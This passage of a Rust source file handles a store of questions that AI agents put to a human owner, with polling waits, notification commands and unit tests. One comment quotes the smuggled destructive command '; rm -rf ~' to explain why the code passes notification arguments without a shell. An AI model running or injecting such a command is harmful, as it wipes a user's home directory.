885 // a question a dead seat asked. Abandoning it here would erase the
886 // only alert the moment the run settles.
887 let mut abandoned = 0;
888 for mut q in self.open_for(run) {
889 if q.node == crate::bump::NOTICE_NODE {
890 continue;
891 }
892 q.abandon(&why);
893 self.put(&mut q)?;
894 abandoned += 1;
895 }
896 Ok(abandoned)
897 }
898
899 /// Expand an id prefix to exactly one question id. The short id the phone
900 /// and the reports show is a suffix, so that is accepted too.
901 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
902 if self.path_of(prefix).is_file() {
903 return Ok(prefix.to_owned());
904 }
905 let hits: Vec<String> = self
906 .list()
907 .into_iter()
908 .map(|q| q.id)
909 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix))
910 .collect();
911 match hits.len() {
912 1 => Ok(hits.into_iter().next().expect("exactly one hit")),
913 0 => bail!("no question matches `{prefix}`"),
914 _ => bail!(
915 "`{prefix}` matches {} questions: {}",
916 hits.len(),
917 hits.join(", ")
918 ),
919 }
920 }
921
922 /// Newest modification time in the store, in milliseconds, for change
923 /// detection. The web UI compares this instead of re-reading every
924 /// question, so an idle phone on a slow link costs one `stat` per file.
925 pub fn revision(&self) -> u64 {
926 std::fs::read_dir(&self.root)
927 .into_iter()
928 .flatten()
929 .flatten()
930 .filter_map(|e| e.metadata().ok())
931 .filter_map(|m| m.modified().ok())
932 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
933 .map(|d| d.as_millis() as u64)
934 .max()
935 .unwrap_or(0)
936 }
937
938 /// How many questions are open, whichever side of the conversation is
939 /// holding the ball right now. Ten turns of back and forth between the
940 /// owner and the agent are still one open question - see
941 /// [`Question::say`] - so this does not drop while a reply is in
942 /// flight. [`Self::count_needs_owner`] is the number that does.
943 pub fn count_open(&self) -> usize {
944 self.list().iter().filter(|q| q.status.open()).count()
945 }
946
947 /// How many open questions actually need the owner right now: open, and
948 /// not [`Question::waiting_on_agent`].
949 ///
950 /// This is the number a notification channel owes - the ask bar, the nav
951 /// badge, the document title - because those exist to say "something
952 /// needs you", and a question sitting in `magi ask --thread` limbo does
953 /// not. `count_open` stays as it is for [`Self::open_for`]'s callers,
954 /// where a round trip must not look like the run resumed.
955 pub fn count_needs_owner(&self) -> usize {
956 self.list()
957 .iter()
958 .filter(|q| q.status.open() && !q.waiting_on_agent())
959 .count()
960 }
961}
962
963/// How a wait over [`Question`] ended.
964#[derive(Debug, Clone, PartialEq, Eq)]
965pub enum Wait {
966 /// The owner decided. Carries [`Question::resolution`].
967 Answered(String),
968 /// The owner spoke back without deciding - see [`Question::say`]. The
969 /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
970 /// the caller's move is to hand this text to the agent and let it call
971 /// `magi ask --thread` to keep talking, not to treat it as a decision.
972 Replied(String),
973 /// This call's [`WAIT_SLICE`] ran out with the question still
974 /// [`QuestionStatus::Open`] and nothing having happened - not the owner
975 /// going quiet, the clock on *this process* running out. The question is
976 /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
977 /// process, so the wait resumes before the shell tool that would have
978 /// killed this one gets the chance.
979 Pending,
980 /// Nobody said anything before the deadline, or the question was closed
981 /// out from under the wait with no decision recorded - a run deleted out
982 /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
983 /// now on disk.
984 Abandoned,
985}
986
987/// File a question and wait for the owner, polling the store.
988///
989/// The question is updated in place from disk whenever the wait ends, so the
990/// caller can act on it without re-reading it. `timeout` is the question's
991/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
992/// of it - see [`Wait::Pending`] for what happens to the rest.
993pub async fn ask_and_wait(
994 q: &mut Question,
995 store: &Questions,
996 notify: &config::Notify,
997 timeout: Duration,
998) -> Result<Wait> {
999 wait_for_owner(q, store, notify, timeout, POLL).await
1000}
1001
1002/// Resume a wait already filed, without adding a turn or notifying again.
1003///
1004/// This is `magi ask --wait <id>`'s engine: the process that owned the
1005/// previous slice is dead (the tool that ran it killed it, or it simply
1006/// exited after reporting [`Wait::Pending`]), but the question on disk never
1007/// stopped being open, and the owner was already notified about it once. A
1008/// second notification for the same unanswered question would page the
1009/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
1010/// unlike [`ask_and_wait`], this skips straight to polling.
1011///
1012/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
1013/// caller computes it as what remains until [`Question::asked_at`] plus the
1014/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
1015/// up the deadline the first ask set, never push it out further.
1016pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1017 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1018}
1019
1020/// [`ask_and_wait`] with the poll interval injected.
1021///
1022/// Separate only so the tests can drive a whole wait in milliseconds instead of
1023/// sleeping through [`POLL`]; production has exactly one interval, and it is not
1024/// a knob the operator gets to tune.
1025async fn wait_for_owner(
1026 q: &mut Question,
1027 store: &Questions,
1028 cfg: &config::Notify,
1029 timeout: Duration,
1030 poll: Duration,
1031) -> Result<Wait> {
1032 store.put(q).context("file the question")?;
1033 if q.should_notify(Timestamp::now()) {
1034 if let Err(e) = notify(cfg, q).await {
1035 // A broken webhook is not a reason to throw away an implementation.
1036 // The question is already on disk and the web UI already shows it,
1037 // so the operator still has a way in; only the tap on the shoulder
1038 // is lost.
1039 tracing::warn!(
1040 "could not notify about question {}: {e:#} - the web UI is the \
1041 only surface for it now",
1042 q.short()
1043 );
1044 }
1045 }
1046 tracing::info!(
1047 "question {} from {} is waiting for you: {}",
1048 q.short(),
1049 q.seat,
1050 q.summary
1051 );
1052 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1053}
1054
1055/// The polling loop shared by a fresh wait and a resumed one.
1056///
1057/// `timeout` is the budget left before the question's `answer_timeout`
1058/// truly runs out; `slice` bounds how much of that this one call spends
1059/// before handing control back. Landing on `slice` while `timeout` still has
1060/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
1061/// silence. Landing on `timeout` itself - because it was no bigger than
1062/// `slice` to begin with - is the real thing, and abandons the question
1063/// exactly as a single unsliced wait always did.
1064async fn wait_loop(
1065 q: &mut Question,
1066 store: &Questions,
1067 timeout: Duration,
1068 slice: Duration,
1069 poll: Duration,
1070) -> Result<Wait> {
1071 // The owner may already have spoken back before this call ever started -
1072 // most often because they did so in the gap between an earlier call
1073 // reporting `Wait::Pending` and this one picking the wait back up with
1074 // `--wait`. That word must surface at once rather than sit unnoticed
1075 // until some *later* turn happens to change something: this call never
1076 // saw it get added, so nothing below would otherwise recognise it as
1077 // new. `last_word_awaiting_reply` reads the question's own record of
1078 // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
1079 // turn count this call would have to have been there to capture.
1080 if let Some(said) = last_word_awaiting_reply(q) {
1081 return Ok(Wait::Replied(said.to_owned()));
1082 }
1083
1084 let bounded = timeout.min(slice);
1085 let is_the_real_deadline = bounded >= timeout;
1086 let deadline = tokio::time::Instant::now() + bounded;
1087 loop {
1088 let now = tokio::time::Instant::now();
1089 if now >= deadline {
1090 if !is_the_real_deadline {
1091 return Ok(Wait::Pending);
1092 }
1093 q.abandon(format!(
1094 "no answer within {}s of asking",
1095 timeout.as_secs().max(1)
1096 ));
1097 store.put(q).context("record the abandoned question")?;
1098 tracing::warn!(
1099 "question {} went unanswered for {}s; the run parks and the \
1100 question stays as the record of it",
1101 q.short(),
1102 timeout.as_secs()
1103 );
1104 return Ok(Wait::Abandoned);
1105 }
1106 tokio::time::sleep(poll.min(deadline - now)).await;
1107 match store.get(&q.id) {
1108 Ok(fresh) if !fresh.status.open() => {
1109 // Whoever answered - the phone, `magi answer`, another daemon -
1110 // owns the record now, so adopt theirs wholesale rather than
1111 // merging into a copy that predates it.
1112 *q = fresh;
1113 return Ok(match q.resolution() {
1114 Some(a) => Wait::Answered(a),
1115 // Closed with no decision - abandoned elsewhere, most
1116 // often by the run behind it being deleted mid-wait.
1117 None => Wait::Abandoned,
1118 });
1119 }
1120 Ok(fresh) => {
1121 if let Some(said) = last_word_awaiting_reply(&fresh) {
1122 let said = said.to_owned();
1123 *q = fresh;
1124 return Ok(Wait::Replied(said));
1125 }
1126 // Still open and not waiting on the agent - nothing this
1127 // wait cares about happened, so keep polling.
1128 }
1129 Err(e) => {
1130 // Mid-rename, or a file the operator is editing by hand.
1131 // Neither is a reason to abandon a question a human may still
1132 // answer, so keep polling until the deadline decides.
1133 tracing::debug!("could not re-read question {}: {e:#}", q.short());
1134 }
1135 }
1136 }
1137}
1138
1139/// The owner's own last word, if the agent has not caught up on it yet.
1140///
1141/// A thin wrapper over [`Question::waiting_on_agent`] that also hands back
1142/// what was said: the state is on the record itself, not derived from
1143/// anything this call has seen happen, so it reads correctly whether this is
1144/// the process that has been polling all along or a fresh `--wait` that just
1145/// loaded the question off disk for the first time. `None` on a fresh
1146/// question, one the agent already replied to, or one that is no longer
1147/// open.
1148fn last_word_awaiting_reply(q: &Question) -> Option<&str> {
1149 if !q.waiting_on_agent() {
1150 return None;
1151 }
1152 q.thread.last().map(|t| t.body.as_str())
1153}
1154
1155/// Run the operator's notification command, if one is configured.
1156///
1157/// The command is argv, never a shell string, and the substitutions below are a
1158/// single pass over each argument: a summary containing `; rm -rf ~` is one
1159/// argument to one program, and a summary containing the characters `{run}` is
1160/// not re-expanded. That property is the reason agent-authored text can be put
1161/// in a notification at all.
1162///
1163/// An error here is reported, not swallowed, so `magi notify --test` can show
1164/// the operator why nothing arrives. The waiting path logs it and carries on.
1165pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1166 notify_text(cmd, &q.run, &q.summary).await
1167}
1168
1169/// [`notify`] for an event that is not a question: the same command, the same
1170/// placeholders, with `summary` and `run` supplied directly.
1171pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
1172 let Some((program, args)) = cmd.command.split_first() else {
1173 // No command configured: the web UI is the only surface, by choice.
1174 return Ok(());
1175 };
1176 let url = web_url();
1177 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1178 tracing::warn!(
1179 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1180 so the link will be empty - export it next to `magi serve` with \
1181 the address `magi web --open` printed"
1182 );
1183 }
1184 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, &url)).collect();
1185 tracing::debug!(program = %program, args = ?argv, "notifying");
1186
1187 let mut child = tokio::process::Command::new(program);
1188 child.quiet();
1189 child
1190 .args(&argv)
1191 .stdin(std::process::Stdio::null())
1192 // Killed if the timeout below drops this future: a notification
1193 // command left running would outlive the run it was announcing.
1194 .kill_on_drop(true);
1195 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1196 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1197 Err(_) => bail!(
1198 "notification command `{program}` did not finish within {}s",
1199 NOTIFY_TIMEOUT.as_secs()
1200 ),
1201 };
1202 if !out.status.success() {
1203 let stderr = String::from_utf8_lossy(&out.stderr);
1204 let why = stderr
1205 .lines()
1206 .rev()
1207 .find(|l| !l.trim().is_empty())
1208 .unwrap_or("no output on stderr")
1209 .trim();
1210 bail!(
1211 "notification command `{program}` exited with {}: {why}",
1212 out.status
1213 );
1214 }
1215 Ok(())
1216}
1217
1218/// Substitute `{summary}`, `{run}` and `{url}` into one argument.
1219///
1220/// One left-to-right pass, so a substituted value is never scanned for further
1221/// placeholders. Agent prose contains braces, and an agent quoting `{summary}`
1222/// in a question must not make the notification recursive.
1223fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
1224 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
1225 let mut out = String::with_capacity(template.len());
1226 let mut rest = template;
1227 while let Some(at) = rest.find('{') {
1228 out.push_str(&rest[..at]);
1229 let tail = &rest[at..];
1230 match table.iter().find(|(token, _)| tail.starts_with(token)) {
1231 Some((token, value)) => {
1232 out.push_str(value);
1233 rest = &tail[token.len()..];
1234 }
1235 None => {
1236 // Not a placeholder magi knows: it is the operator's own text.
1237 out.push('{');
1238 rest = &tail[1..];
1239 }
1240 }
1241 }
1242 out.push_str(rest);
1243 out
1244}
1245
1246/// The URL `{url}` expands to, from [`WEB_URL_ENV`].
1247fn web_url() -> String {
1248 question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
1249}
1250
1251/// Point a configured base URL at the view that can answer the question.
1252///
1253/// A notification the operator has to navigate from is a question that stays
1254/// unanswered until morning, so the questions view is appended - unless the
1255/// operator already wrote a fragment, in which case they have said where they
1256/// want to land and magi does not know better.
1257fn question_url(base: &str) -> String {
1258 let base = base.trim().trim_end_matches('/');
1259 if base.is_empty() || base.contains('#') {
1260 return base.to_owned();
1261 }
1262 format!("{base}/#/questions")
1263}
1264
1265/// Assemble a panel's contents in an already-empty directory.
1266///
1267/// Split out so [`Questions::put_panel`] can delete the whole directory on the
1268/// first error without an early `return` skipping that cleanup.
1269fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1270 let index = dir.join(PANEL_HTML);
1271 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1272 for (name, src) in assets {
1273 let dst = dir.join(name);
1274 std::fs::copy(src, &dst)
1275 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1276 }
1277 Ok(())
1278}
1279
1280/// Remove a directory and everything under it, treating "not there" as done.
1281///
1282/// A panel is replaced wholesale and dropped idempotently, and in both cases
1283/// the absence of the directory is the desired end state, not an error.
1284fn clear_dir(path: &Path) -> Result<()> {
1285 match std::fs::remove_dir_all(path) {
1286 Ok(()) => Ok(()),
1287 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
1288 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
1289 }
1290}
1291
1292fn read_path(path: &Path) -> Result<Question> {
1293 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
1294 let q: Question =
1295 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1296 if q.schema > SCHEMA {
1297 // Strictly newer, not merely different: every field added since
1298 // schema 1 carries `#[serde(default)]`, so an *older* schema reads
1299 // here as "no thread yet" rather than as garbage. Only a schema this
1300 // build has never heard of is refused.
1301 bail!(
1302 "question {} was written by a newer magi (schema {}, this build \
1303 only speaks up to {SCHEMA})",
1304 q.id,
1305 q.schema
1306 );
1307 }
1308 Ok(q)
1309}
1310
1311fn short(id: &str) -> &str {
1312 id.split('-').next_back().unwrap_or(id)
1313}
1314
1315fn new_id() -> String {
1316 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
1317 let seed = crate::rng::entropy();
1318 format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
1319}
1320
1321#[cfg(test)]
1322mod tests {
1323 use super::*;
1324
1325 /// A store of its own, with no process-global state - which is the point of
1326 /// `Questions::at`, and why these can run in parallel.
1327 fn store() -> (tempfile::TempDir, Questions) {
1328 let dir = tempfile::tempdir().unwrap();
1329 let s = Questions::at(dir.path().join("questions"));
1330 (dir, s)
1331 }
1332
1333 #[test]
1334 fn deleting_a_run_stops_its_questions_asking() {
1335 let (_dir, store) = store();
1336
1337 let mut open_one = choice_question();
1338 store.put(&mut open_one).unwrap();
1339 let mut answered = free_question();
1340 answered
1341 .answer(Answer::Text("keep this".to_owned()))
1342 .unwrap();
1343 store.put(&mut answered).unwrap();
1344 let mut elsewhere = choice_question();
1345 elsewhere.run = "20260903-105039-3cbf".to_owned();
1346 store.put(&mut elsewhere).unwrap();
1347
1348 let n = store
1349 .abandon_for_run(&open_one.run, "run was deleted")
1350 .unwrap();
1351 assert_eq!(n, 1, "only the open question of that run");
1352
1353 let back = store.get(&open_one.id).unwrap();
1354 assert!(!back.status.open(), "it no longer asks for a decision");
1355 assert!(
1356 back.detail.contains("run was deleted"),
1357 "the operator can see why: {}",
1358 back.detail
1359 );
1360
1361 let kept = store.get(&answered.id).unwrap();
1362 assert_eq!(
1363 kept.status,
1364 QuestionStatus::Answered,
1365 "an answered question is a decision on record, not something to revoke"
1366 );
1367 assert!(
1368 store.get(&elsewhere.id).unwrap().status.open(),
1369 "another run's question is untouched"
1370 );
1371 assert!(store.open_for(&open_one.run).is_empty());
1372 }
1373
1374 #[test]
1375 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
1376 let (_dir, store) = store();
1377 let mut q = choice_question();
1378 store.put(&mut q).unwrap();
1379
1380 // `Blocked` can still be resumed - leave it exactly as it was.
1381 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
1382 assert_eq!(n, 0);
1383 assert!(store.get(&q.id).unwrap().status.open());
1384
1385 // `Failed` is not - abandon it, with the run and its fate in the
1386 // reason so the owner can tell what happened without a run to read.
1387 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
1388 assert_eq!(n, 1);
1389 let back = store.get(&q.id).unwrap();
1390 assert!(!back.status.open());
1391 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
1392
1393 // A second call against the same, now-settled run finds nothing left.
1394 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
1395 }
1396
1397 fn choice_question() -> Question {
1398 Question::new(
1399 "20260902-201256-9fb7".to_owned(),
1400 "implement".to_owned(),
1401 "impl-A".to_owned(),
1402 "Which storage backend should the cache use?".to_owned(),
1403 "Both are already dependencies.".to_owned(),
1404 vec!["SQLite".to_owned(), "Redis".to_owned()],
1405 )
1406 }
1407
1408 fn free_question() -> Question {
1409 Question::new(
1410 "20260902-201256-9fb7".to_owned(),
1411 "review".to_owned(),
1412 "rev-1".to_owned(),
1413 "What should the error message say?".to_owned(),
1414 String::new(),
1415 Vec::new(),
1416 )
1417 }
1418
1419 /// No notification, which is the default and what most of these want.
1420 fn quiet() -> config::Notify {
1421 config::Notify::default()
1422 }
1423
1424 #[test]
1425 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
1426 // The front end parses these names by hand; there is no shared schema
1427 // and no compiler between the two. A rename here is a UI that shows an
1428 // empty card and reports no error, so the names are asserted literally.
1429 let mut q = choice_question();
1430 q.id = "20260902-231501-ab12".to_owned();
1431 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
1432 // `serde_json::Value` holds an object's keys sorted, and key order
1433 // means nothing to a JSON reader anyway: the field *set* is what the
1434 // front end was written against, so that is what is pinned here.
1435 let keys: Vec<&str> = open
1436 .as_object()
1437 .unwrap()
1438 .keys()
1439 .map(String::as_str)
1440 .collect();
1441 assert_eq!(
1442 keys,
1443 [
1444 "answer",
1445 "answer_timeout",
1446 "answered_at",
1447 "asked_at",
1448 "assets",
1449 "choices",
1450 "detail",
1451 "id",
1452 "node",
1453 "panel",
1454 "run",
1455 "schema",
1456 "seat",
1457 "status",
1458 "summary",
1459 "thread",
1460 ],
1461 "the on-disk field set is a contract with the front end"
1462 );
1463 assert_eq!(open["schema"], 3);
1464 assert_eq!(open["thread"], serde_json::json!([]));
1465 assert_eq!(open["id"], "20260902-231501-ab12");
1466 assert_eq!(open["run"], "20260902-201256-9fb7");
1467 assert_eq!(open["node"], "implement");
1468 assert_eq!(open["seat"], "impl-A");
1469 assert_eq!(open["status"], "open");
1470 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
1471 assert_eq!(open["answered_at"], serde_json::Value::Null);
1472 assert_eq!(open["answer"], serde_json::Value::Null);
1473 let asked = open["asked_at"].as_str().unwrap();
1474 assert!(
1475 asked.ends_with('Z') && asked.contains('T'),
1476 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
1477 );
1478
1479 // A chosen option, exactly as the contract spells it.
1480 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1481 let answered = serde_json::to_value(&q).unwrap();
1482 assert_eq!(answered["status"], "answered");
1483 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
1484 assert!(answered["answered_at"].is_string());
1485
1486 // And free text, which is the other of the two forms.
1487 let mut free = free_question();
1488 free.answer(Answer::Text("Say which file it was".to_owned()))
1489 .unwrap();
1490 assert_eq!(
1491 serde_json::to_value(&free).unwrap()["answer"],
1492 serde_json::json!({"text": "Say which file it was"})
1493 );
1494
1495 // And it survives the round trip a reader actually performs.
1496 let body = serde_json::to_string(&q).unwrap();
1497 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
1498 }
1499
1500 #[test]
1501 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
1502 // Four different mistakes, four different fixes: the web handler shows
1503 // these strings to the person who made them.
1504 let mut unoffered = choice_question();
1505 let a = unoffered
1506 .answer(Answer::Choice("Postgres".to_owned()))
1507 .unwrap_err()
1508 .to_string();
1509
1510 let mut typed = choice_question();
1511 let b = typed
1512 .answer(Answer::Text("use Postgres".to_owned()))
1513 .unwrap_err()
1514 .to_string();
1515
1516 let mut blank = free_question();
1517 let c = blank
1518 .answer(Answer::Text(" \n".to_owned()))
1519 .unwrap_err()
1520 .to_string();
1521
1522 let mut twice = choice_question();
1523 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1524 let d = twice
1525 .answer(Answer::Choice("Redis".to_owned()))
1526 .unwrap_err()
1527 .to_string();
1528
1529 assert!(a.contains("not one of the choices"), "{a}");
1530 assert!(b.contains("multiple choice"), "{b}");
1531 assert!(c.contains("empty"), "{c}");
1532 assert!(d.contains("already answered"), "{d}");
1533 let mut distinct = vec![a, b, c, d];
1534 let asked = distinct.len();
1535 distinct.sort_unstable();
1536 distinct.dedup();
1537 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
1538
1539 // The refused ones are still open, so the owner can answer properly.
1540 assert_eq!(unoffered.status, QuestionStatus::Open);
1541 assert_eq!(typed.status, QuestionStatus::Open);
1542 assert_eq!(blank.status, QuestionStatus::Open);
1543 // And the first answer to the double-answered one survived.
1544 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
1545
1546 // Free text refuses a fabricated choice for the mirror-image reason.
1547 let mut free = free_question();
1548 let e = free
1549 .answer(Answer::Choice("SQLite".to_owned()))
1550 .unwrap_err()
1551 .to_string();
1552 assert!(e.contains("free text"), "{e}");
1553 }
1554
1555 #[test]
1556 fn open_questions_are_listed_before_answered_ones() {
1557 let (_dir, s) = store();
1558 // Ids carry a timestamp, so force a known order: the answered one is
1559 // the newest, and must still sort below the open ones.
1560 let mut old_open = choice_question();
1561 old_open.id = "20260101-000001-aaaa".to_owned();
1562 let mut new_open = choice_question();
1563 new_open.id = "20260101-000002-bbbb".to_owned();
1564 let mut answered = choice_question();
1565 answered.id = "20260101-000003-cccc".to_owned();
1566 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
1567 for q in [&mut old_open, &mut new_open, &mut answered] {
1568 s.put(q).unwrap();
1569 }
1570
1571 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
1572 assert_eq!(
1573 ids,
1574 [
1575 "20260101-000002-bbbb",
1576 "20260101-000001-aaaa",
1577 "20260101-000003-cccc"
1578 ],
1579 "what has stopped work comes first; history sorts underneath"
1580 );
1581 assert_eq!(s.count_open(), 2);
1582 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
1583 assert!(s.open_for("some-other-run").is_empty());
1584 // The short id is what the phone and the reports show.
1585 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
1586 assert!(s.get("20260101-000002-bbbb").is_ok());
1587 assert!(s.resolve_id("nope").is_err());
1588 assert!(
1589 s.revision() > 0,
1590 "the store's mtime drives the phone's polling"
1591 );
1592 }
1593
1594 #[test]
1595 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
1596 let (_dir, s) = store();
1597 let mut good = choice_question();
1598 s.put(&mut good).unwrap();
1599 // Truncated by a killed writer, and written by a magi from the future.
1600 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
1601 let future = serde_json::json!({
1602 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
1603 "seat": "s", "summary": "?", "detail": "", "choices": [],
1604 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
1605 "answered_at": null, "answer": null,
1606 });
1607 std::fs::write(
1608 s.path_of("20260101-000010-beef"),
1609 serde_json::to_string(&future).unwrap(),
1610 )
1611 .unwrap();
1612
1613 let listed = s.list();
1614 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
1615 assert_eq!(listed[0].id, good.id);
1616 // Asked for by name, the unreadable one explains itself instead.
1617 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
1618 assert!(e.contains("schema"), "{e}");
1619 }
1620
1621 #[tokio::test]
1622 async fn the_wait_returns_the_answer_another_process_wrote() {
1623 // The phone, `magi answer` and this run are three processes with no
1624 // channel between them: the file is the channel, so the wait has to see
1625 // a write it did not make. Sub-second timings keep this a real wait
1626 // without a real one's duration.
1627 let (dir, s) = store();
1628 let mut q = choice_question();
1629 let id = q.id.clone();
1630 let writer = Questions::at(dir.path().join("questions"));
1631 let handle = tokio::spawn(async move {
1632 tokio::time::sleep(Duration::from_millis(30)).await;
1633 let mut fresh = writer.get(&id).expect("the question was filed first");
1634 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
1635 writer.put(&mut fresh).unwrap();
1636 });
1637
1638 let got = wait_for_owner(
1639 &mut q,
1640 &s,
1641 &quiet(),
1642 Duration::from_secs(5),
1643 Duration::from_millis(10),
1644 )
1645 .await
1646 .unwrap();
1647
1648 handle.await.unwrap();
1649 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
1650 assert_eq!(
1651 q.status,
1652 QuestionStatus::Answered,
1653 "the caller's copy is refreshed from the answering process's record"
1654 );
1655 assert!(q.answered_at.is_some());
1656 }
1657
1658 #[tokio::test]
1659 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
1660 let (_dir, s) = store();
1661 let mut q = choice_question();
1662
1663 let got = wait_for_owner(
1664 &mut q,
1665 &s,
1666 &quiet(),
1667 Duration::from_millis(60),
1668 Duration::from_millis(10),
1669 )
1670 .await
1671 .unwrap();
1672
1673 assert_eq!(
1674 got,
1675 Wait::Abandoned,
1676 "a slow human is not an error; the run parks"
1677 );
1678 assert_eq!(q.status, QuestionStatus::Abandoned);
1679 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
1680 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
1681 assert!(
1682 on_disk.detail.contains("Abandoned:"),
1683 "why nobody answered belongs with the question: {}",
1684 on_disk.detail
1685 );
1686 assert!(on_disk.resolution().is_none());
1687 assert_eq!(s.count_open(), 0);
1688 }
1689
1690 #[tokio::test]
1691 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
1692 // This is the whole point of slicing: `timeout` (the real
1693 // `answer_timeout` budget) is far larger than `slice`, so the loop
1694 // must land on `slice` first and hand back `Pending` - not read the
1695 // silence so far as the owner having given up.
1696 let (_dir, s) = store();
1697 let mut q = choice_question();
1698 s.put(&mut q).unwrap();
1699
1700 let got = wait_loop(
1701 &mut q,
1702 &s,
1703 Duration::from_secs(3600),
1704 Duration::from_millis(30),
1705 Duration::from_millis(10),
1706 )
1707 .await
1708 .unwrap();
1709
1710 assert_eq!(
1711 got,
1712 Wait::Pending,
1713 "the clock on this call ran out, not the owner's patience"
1714 );
1715 assert_eq!(
1716 q.status,
1717 QuestionStatus::Open,
1718 "a slice expiring must never abandon the question"
1719 );
1720 let on_disk = s.get(&q.id).expect("still on disk, still open");
1721 assert_eq!(
1722 on_disk.status,
1723 QuestionStatus::Open,
1724 "nothing about the record changed just because this call gave up"
1725 );
1726 }
1727
1728 #[tokio::test]
1729 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
1730 // The shape `magi ask --wait <id>` relies on: one slice finds nothing
1731 // and returns `Pending`, a second slice - a fresh call, exactly as a
1732 // fresh process would make - picks the same question back up and
1733 // sees an answer written in between.
1734 let (dir, s) = store();
1735 let mut q = choice_question();
1736 s.put(&mut q).unwrap();
1737
1738 let first = wait_loop(
1739 &mut q,
1740 &s,
1741 Duration::from_secs(3600),
1742 Duration::from_millis(30),
1743 Duration::from_millis(10),
1744 )
1745 .await
1746 .unwrap();
1747 assert_eq!(first, Wait::Pending);
1748
1749 let id = q.id.clone();
1750 let writer = Questions::at(dir.path().join("questions"));
1751 let mut fresh = writer.get(&id).unwrap();
1752 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
1753 writer.put(&mut fresh).unwrap();
1754
1755 // `resume_wait` uses its own production poll interval rather than a
1756 // test-injected one, so the budget here only needs to be large enough
1757 // to cover one real poll tick - the point is that it is `resume_wait`
1758 // itself, not a helper, that finds the answer.
1759 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
1760 .await
1761 .unwrap();
1762 assert_eq!(second, Wait::Answered("Redis".to_owned()));
1763 assert_eq!(q.status, QuestionStatus::Answered);
1764 }
1765
1766 #[tokio::test]
1767 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
1768 // The owner can speak back while nothing is running at all - between
1769 // one call reporting `Wait::Pending` and the next `--wait` picking
1770 // the question back up - and whoever resumes the wait loads a
1771 // *fresh* copy of the question off disk, one whose thread already
1772 // contains that reply. A baseline taken from that fresh copy would
1773 // treat the reply as pre-existing and never notice it "arrive",
1774 // leaving the agent polling in silence until `answer_timeout`
1775 // eventually abandons the question - replacing the exact accident
1776 // this feature exists to fix with a quieter version of itself.
1777 let (dir, s) = store();
1778 let mut q = choice_question();
1779 s.put(&mut q).unwrap();
1780
1781 let first = wait_loop(
1782 &mut q,
1783 &s,
1784 Duration::from_secs(3600),
1785 Duration::from_millis(30),
1786 Duration::from_millis(10),
1787 )
1788 .await
1789 .unwrap();
1790 assert_eq!(first, Wait::Pending);
